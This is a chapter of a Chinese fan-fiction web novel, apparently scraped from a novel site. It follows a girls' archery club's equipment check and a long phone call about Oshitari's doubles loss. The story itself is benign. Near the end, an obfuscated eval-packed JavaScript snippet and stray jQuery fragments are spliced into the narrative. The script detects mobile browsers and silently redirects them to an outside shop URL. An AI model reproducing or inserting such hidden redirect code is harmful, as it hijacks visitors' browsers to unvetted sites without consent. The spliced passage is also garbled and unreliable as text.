文趣网 > 都市小说 > [网王/忍足]落点未定 > 24. 三比一,四比六
    星期日上午,弓道部进行每月一次的弓具检查。

    北川把检查表贴在射场入口,要求正选队员逐一确认弓、弦、箭与备用弦。平时还能继续使用的小问题,到了正式比赛前都不能再用“应该没关系”带过。

    松田抱着自己的箭坐在堂前,对着一片有些翘起的箭羽看了半天。

    “学姐,这个需要换吗?”

    小町接过来,用指腹轻轻理过羽片。

    箭羽边缘缺了一小块,不算严重。日常练习不会受到影响,正式比赛却没有必要冒险。

    “放进备用组,今天不要再用了。”

    “可是我用这支中得最多。”

    “因为中得多,所以箭羽磨损也更明显。”

    “它真的不能再坚持一阵吗?”

    “你可以问它。”

    松田低头看向自己的箭。

    “它不说话。”

    “那就听我的。”

    小町将箭放到备用箭架上,又从她的箭筒里抽出一支状态更好的。

    松田还是有些舍不得,蹲在旁边看了几秒,最后认真地用白色纸条给旧箭做上标记,准备等比赛结束以后再修。

    堂前摆着一排打开的弓具袋。

    阳光从屋檐外斜着落进来,照亮弓身上打蜡后留下的细微光泽。宫下跪坐在另一侧检查弦轮,野泽与高濑正在比较两卷备用弦的长度,争论到底是谁在收纳时绕错了方向。

    “千岛。”

    北川从记录席叫她。

    小町放下松田的箭,走过去。

    新的立顺表夹在他手中的文件板上。她的名字仍然排在最下面。

    落。

    “昨天训练的录像看过了吗?”北川问。

    “看过了。”

    “第二轮的两支偏箭是什么问题?”

    “右手提前松开。第二支开始以后,我想用手指调整,反而破坏了动作。”

    “今天再试两轮。”北川把记录板递给她,“成绩不是唯一标准。站在最后,不是让你负责挽救前面所有人的失误。”

    小町接过记录板。

    “我知道。”

    北川看了她一眼。

    “知道和做得到不是一回事。”

    这句话无法反驳。

    小町低头确认自己的姓名。记录表最下方留着八个空格,两轮结束以后,那里会被圆与叉填满。

    十一点,模拟训练开始。

    第一轮的节奏比昨天稳定。

    宫下在大前四射三中,随后野泽两中,仓桥三中,高濑三中。轮到小町以前,记录表上已经有十一个圆。

    她走进射位。

    风从安土方向吹过来,堂前悬着的布条只动了一下,很快重新垂落。

    第一支,命中。

    第二支,命中。

    第三支箭落在靶面下方。

    小町听见记录席举起叉牌时布料摩擦的声音,随即取出最后一支箭。

    最后一支重新命中。

    第一轮,十四中。

    第二轮,她仍然三中。

    训练结束后,北川没有再次更换立顺。

    “下周继续。”他说。

    这不算正式确认,却已经足够让松田在收拾弓具时小声欢呼。

    “所以今天可以吃正式一点的蛋糕了吗?”

    “为什么每次训练结果都要和蛋糕有关?”仓桥问。

    “因为吃蛋糕需要理由。”

    “你没有理由也会吃。”

    “那样容易产生负罪感。”

    小町将记录纸放进文件夹。

    “那就庆祝全队弓具检查没有不合格。”

    松田立即点头。

    “这个理由很好。”

    北川从旁边经过,停下脚步:“松田的箭羽需要修。”

    松田脸上的笑容僵住。

    “那算基本合格?”

    “什么时候修好,什么时候合格。”

    北川走远以后,野泽第一个笑出声。松田抱着箭追过去,试图说明箭羽损坏与她本人没有关系,堂前很快乱成一团。

    小町站在记录席旁,也跟着笑了一会儿。

    手机放在更衣室的书包里,从训练开始后便没有拿出来过。

    下午一点,男子网球部的比赛已经开始。

    她知道今天是关东大会东京都预选第四轮,也知道冰帝的双打二号仍然是忍足与向日。

    除此之外,没有更多消息。

    弓具检查全部结束时将近两点。小町换回制服,与宫下一起确认下周集合时间,直到走出弓道场才拿出手机。

    班级聊天群里积了七十多条未读消息。

    藤崎虽然被摄影部部长留在学校整理器材,仍然依靠现场观赛同学发来的内容进行转播。她甚至重新制作了一张比分表,箭头比上次画得直了许多。

    小町从最早的消息向下翻。

    【双打二号开始。】

    【冰帝先破发。】

    【三比一。】

    接下来的消息很快失去了顺序。

    【刚才那个网前分谁看清了?】

    【不是,刚刚那球是接发站位变了】

    【你们到底在说第几分?】

    藤崎盯着屏幕看了几秒,决定把这几条全部转发,再在后面补上一个问号。

    她们还没弄清楚刚才发生了什么,比分已经变成四比四。

    过了几分钟,新消息跳出来。

    【对面五比四】

    这次没人补充细节。

    下午一点五十分,藤崎的手机终于安静下来。

    【双打二号结束。冰帝四比六。】

    小町的手指停在屏幕上。

    群里安静了两分钟。

    很快,双打一号上场的消息又开始向下刷。冰帝拿下第二场,随后单打三号与单打二号接连获胜。

    团体总比分三比一。

    冰帝晋级。

    群里的庆祝符号几乎占满屏幕。向日与忍足的头像始终安静,最后的计分牌和队伍合照由其他部员发了出来。

    小町点开合照。

    忍足站在最后一排。

    他已经换上外套,一只手插在口袋里,另一只手垂在身侧。向日站在他前面,明明全队获胜,脸上的表情却不像平时那样兴奋。

    照片拍得很远。

    小町看不出忍足有没有笑。

    “学姐,不走吗?”

    松田从前面回头。

    弓道部其他人已经背着弓袋走到校门附近。今天没有正式训练,她们准备去车站旁边吃午餐。

    “你们先去。”小町说,“我等家里的车。”

    “要给你占位置吗?”

    “不用了,下午还有事。”

    松田没有多问,挥挥手追上前面的队友。

    小町留在校门内。

    司机十分钟以后才到。她坐到路边的长椅上,重新打开手机。

    与忍足的私聊仍然停在昨晚。

    他发来比赛场地附近可能降雨的天气预报,小町提醒他记得带伞。他回复说向日负责确认公共物品,如果真的忘记,应该由两个人共同承担责任。

    小町看着输入框。

    她原本想发“看到结果了”。

    打完以后,又觉得这句话像在等待他解释。

    她删掉,重新输入:

    【恭喜冰帝晋级。】

    消息发送出去。

    小町等了一会儿。

    对面没有立刻回复。

    司机的车停在校门外。她收起手机,坐进后排。车内开着空调,温度比外面低许多,皮肤上的薄汗很快被吹干。

    前排司机问她是否直接回家。

    “先回去。”

    小町靠在椅背上。

    车辆驶出学校附近的街道,等过第一个红灯,她还是拿出手机看了一眼。

    没有新消息。

    忍足大概还在赛后会议。

    她又打开班级群,重新看了一遍比分变化。

    四比二以后连丢四局。

    从结果上看,这场比赛没有太多需要解释的地方。对手赢到六局,忍足与向日只赢了四局。

    可小町想知道第四局以后发生了什么。

    向日也一直没有发消息。以他的性格,输掉比赛以后通常会先抱怨最后一球,顺便把搭档和对手各说一遍。现在连一个字都没有,反而让人有些在意。

    车辆转入住宅区时,手机终于震动。

    忍足只回复了一句:

    【谢谢。】

    小町盯着那两个字。

    她忽然有点理解藤崎每次收到过于简短的采访回复时,为什么会抱怨对方缺乏配合。

    她继续打字:

    【也看到双打二号的比分了。】

    这次忍足回复得更慢。

    【嗯。】

    又是一个无法继续的话题。

    小町把手机放到一旁。

    父亲今天不在家。母亲的工作室里正在进行新一季样衣调整,客厅外侧停了两辆陌生的车。小町从侧门进去时,正好遇见助理抱着几卷面料经过。

    “小姐回来了。”

    “妈妈还在忙?”

    “最后一位模特刚到,大概要到五点。”

    小町点头,先回房间换衣服。

    麦茶站在二楼栏杆上,嘴里叼着不知道从哪里撕下来的蓝色布条。看见她经过,它张开翅膀,十分热情地喊了一声:“早上好!”

    “下午了。”

    “早上好!”

    “你高兴就好。”

    小町伸手想把布条拿回来。麦茶立刻后退,爪子踩住栏杆边缘,摆出绝不配合的姿态。

    一人一鸟僵持片刻。

    小町最终放弃,回房间处理手指内侧被弓弦磨红的位置。

    桌上放着今天的训练记录。她把两轮成绩重新誊进记录本,在日期旁写下“落位测试”。

    第一轮三中。

    第二轮三中。

    她看了一会儿,没有在后面补充“仍需提高”或者“不够稳定”。

    三中就是三中。

    房门外传来爪子抓挠木板的轻响。麦茶拖着那根蓝色布条跟了进来,沿着书桌边缘走了两步,低头啄她的笔帽。

    小町把笔拿远。

    手机就在这时响起来。

    不是消息提示。

    是来电。

    屏幕上显示忍足侑士。

    小町看了两秒,才接通。

    “喂?”

    “接得很快。”

    “手机就在手边。”

    “我还以为你会先看一眼,再决定要不要接。”

    “忍足君平时就是这样想我的?”

    “偶尔。”

    “那你今天打来之前,应该已经做好心理准备了。”

    电话那头传来一声笑。背景里的电车正驶过轨道接缝,车厢广播断断续续地响着。

    “我刚才不知道该怎么回你的消息。”

    “所以选择只回一个‘嗯’?”

    “打字的时候看起来有点冷淡。”

    “现在听起来也差不多。”

    “那我挂了。”

    “你试试。”

    忍足又笑了一声。

    这一次,小町听得很清楚。他的声音有些哑,笑意落下去以后,尾音里还留着比赛后的疲惫。

    “团体赛赢了。”他说,“先回答你最前面的消息。”

    “三比一,我已经看到了。”

    忍足停了一下。

    电车似乎正在进站,背景中的轨道声逐渐减慢。车门打开,有乘客从他旁边经过,说话声短暂变得清晰,又很快远去。

    “第二条消息,”他说,“双打二号输了。”

    小町低头看着记录本上排列整齐的圆与叉。

    “为什么输了?”

    她问得很直接,没有追问他是否难过。

    忍足那边安静了一会儿。

    “前面打得太顺。”他说,“四比二以后,岳人连续丢了两个网前球。我想先把节奏稳下来,让他少往前跑。”

    “然后呢?”

    “我开始接太多球。”

    “抢了向日君的位置?”

    “动作不算明显。”忍足像是在回忆比赛,“我每一球都想先确认不会出问题。能接的去接,不该接的也多走了一步。岳人猜不到我准备做什么,后来干脆把中路都让给我。”

    结果是两个人原本的站位被打乱。

    忍足想让比赛稳定下来,却让对手更容易判断回球方向。

    “他生气了?”小町问。

    “很生气。”

    “你们吵架了?”

    “岳人认为是我不信任他。我说没有,他问那我为什么什么球都要碰。”

    “你怎么回答?”

    电话里传来一声很轻的叹气。

    “当时没回答。”

    小町能够想象那一幕。

    向日拿着球拍站在场边,输掉比赛以后情绪全部写在脸上;忍足大概还戴着眼镜,语气听起来与平时没有区别,越是解释“没有”,越容易让人生气。

    “那现在有答案了吗?”

    “大概。”

    忍足的声音被车厢广播截断。等广播结束,他才继续。

    “我想赢。”

    小町没有出声。

    “不是队伍最后晋级就可以。”忍足说,“我想把能接的球都接住。”

    “现在看起来很蠢吧?”

    “有一点。”

    忍足笑了。

    “千岛安慰人的方式很特别。”

    “你需要安慰吗?”

    “暂时不用。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842515|211672||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “那就不要要求方式。”

    电话另一端又传来一声笑。

    这一次比刚才自然许多。

    小町用笔尖轻轻碰了一下记录本。

    “队伍赢了,你高兴吗?”

    “高兴。”

    “自己输了呢?”

    “不高兴。”

    两个答案同时存在。

    忍足没有试图把其中一个盖过另一个。

    她想起自己的第一场团体赛。

    她四射皆中,队伍却以一分之差落败。那时她无法把个人成绩从总分里单独拿出来,也无法因为自己的四个圆产生任何高兴的情绪。

    忍足当时没有完全理解。

    现在他大概懂了一些。

    他站到了与她相反的位置上,终于碰见了同一个问题。

    “岳人现在还在生气?”小町问。

    “刚才下车以前把我的咖啡牛奶拿走了。”

    “这算生气?”

    “他说输球的人不配挑饮料。”

    “那你喝什么?”

    “他的葡萄味运动饮料。”

    “他愿意给你?”

    “没有。我自己拿的。”

    小町没忍住笑了一声。

    麦茶听见她笑,立刻放弃笔帽,沿着桌面走向手机。它低头观察扬声器,试图寻找声音的来源。

    “什么声音?”忍足问。

    “小偷。”

    “家里进人了?”

    “有羽毛的。”

    麦茶对着手机喊:“早上好!”

    电话里安静了一秒。

    “这是麦茶?”

    “嗯。”

    “原来真的只会说早上好。”

    “它还会咳嗽和模仿门铃。”

    “听起来都不太实用。”

    麦茶像是听出对方在评价自己,猛地张开翅膀,喙碰到手机边缘。

    小町及时把电话拿远。

    “不要咬。”

    “早上好!”

    “现在是下午。”

    “早上好!”

    忍足在电话里笑得停不下来。

    “有什么好笑的?”

    “声音和想象中不太一样。”

    “你想象中的鹦鹉是什么声音?”

    “至少不会这么理直气壮。”

    麦茶再次凑近手机。

    这一次,它没有说话,只用爪子踩住小町的训练记录本,低头去咬书角。

    小町一边将记录本抽出来,一边问:“你到哪一站了?”

    “刚下车。”

    背景里的声音已经从车厢广播变成街边车辆经过的动静。忍足走路时,衣料偶尔摩擦手机,脚步声很轻。

    “你还要走多久?”

    “十分钟左右。”

    小町看了一眼通话时间。

    已经过去十七分钟。

    比赛的事情明明早就说完了。

    “你今天呢?”忍足忽然问,“立顺测试怎么样?”

    “暂时没有换。”

    “还是最后一个?”

    “嗯。两轮都是三中。”

    “恭喜。”

    “谢谢。”

    “听起来比上次接受得痛快。”

    “因为已经是第二次听了。”

    “多说几次就会习惯?”

    “不要得寸进尺。”

    小町把麦茶从记录本上抱下去。它不愿意离开,爪子勾住她的袖口,发出一串不满的低鸣。

    “不过,”她说,“北川老师提醒我,站在最后不是为了挽救所有人的失误。”

    忍足那边的脚步慢了一点。

    “听起来像是在说我今天的比赛。”

    “我也觉得。”

    “所以千岛做到了吗?”

    “第一轮还在计算前面的成绩。第二轮好一点。”

    “已经不错了。”

    “你没看过,不要随便评价。”

    “那下次去看。”

    他说得太自然,小町反而没有立刻接上。

    电话里传来车辆驶过积水的声音。忍足大概走到了住宅区,周围逐渐安静,只剩夏日傍晚持续不断的蝉鸣。

    “要看弓道部安排。”小町说。

    “我是说我去看。”

    “我知道。”

    “那为什么还是看弓道部安排?”

    “因为不是所有训练都允许外人参观。”

    “这样啊。”

    忍足停顿得比平时稍长。

    “正式比赛可以。”小町说。

    “什么时候?”

    “赛程还没出来。”

    “出来以后告诉我?”

    小町低头看着麦茶。它终于放弃挣扎,站在她膝上整理被弄乱的羽毛。

    “好。”

    电话另一端忽然没有声音。

    小町看了一眼屏幕,确认通话并未中断。

    “忍足君?”

    “在。”

    “为什么不说话?”

    “刚才差点走过家门。”

    “你回自己家也会走错?”

    “今天第一次。”

    小町听见电话那端打开院门的声音。

    “我到了。”忍足说。

    “那挂了?”

    “手机也快没电了。”

    小町把电话从耳边拿开,看了一眼通话时间。

    二十六分钟。

    她没想到已经说了这么久。

    比赛在什么时候说完的,她已经想不起来。后来是麦茶、立顺、他下车以后还要走多久。忍足一路走到自家院门前,她也一路听着。

    “明天见。”忍足说。

    “明天见。”

    通话结束。

    房间里忽然安静下来。

    小町将手机放到桌面。麦茶站在她膝上,歪着头盯了片刻已经熄灭的屏幕。

    “现在没有人了。”她告诉它。

    麦茶不理她。

    门外传来助理经过走廊的脚步声,楼下隐约有人搬动衣架。母亲的工作应该还没有结束。

    小町重新打开训练记录本。

    笔刚落到纸上,麦茶忽然伸长脖子,对着手机十分响亮地喊了一声:

    “早上好!”

    小町停下笔。

    “已经挂了。”

    麦茶又叫了一遍。

    “早上好!”

    小町看着它,最后还是拿起手机,给忍足发了一条消息。

    【麦茶现在才想起来和你打招呼。】

    忍足很快回复:

    【告诉它,明天再说。】

    小町把屏幕转向麦茶。

    “听见了吗?”

    麦茶低头啄了一下手机壳,转身踩过她刚刚写好的训练记录。

    小町赶在纸页被咬坏以前将它抱走。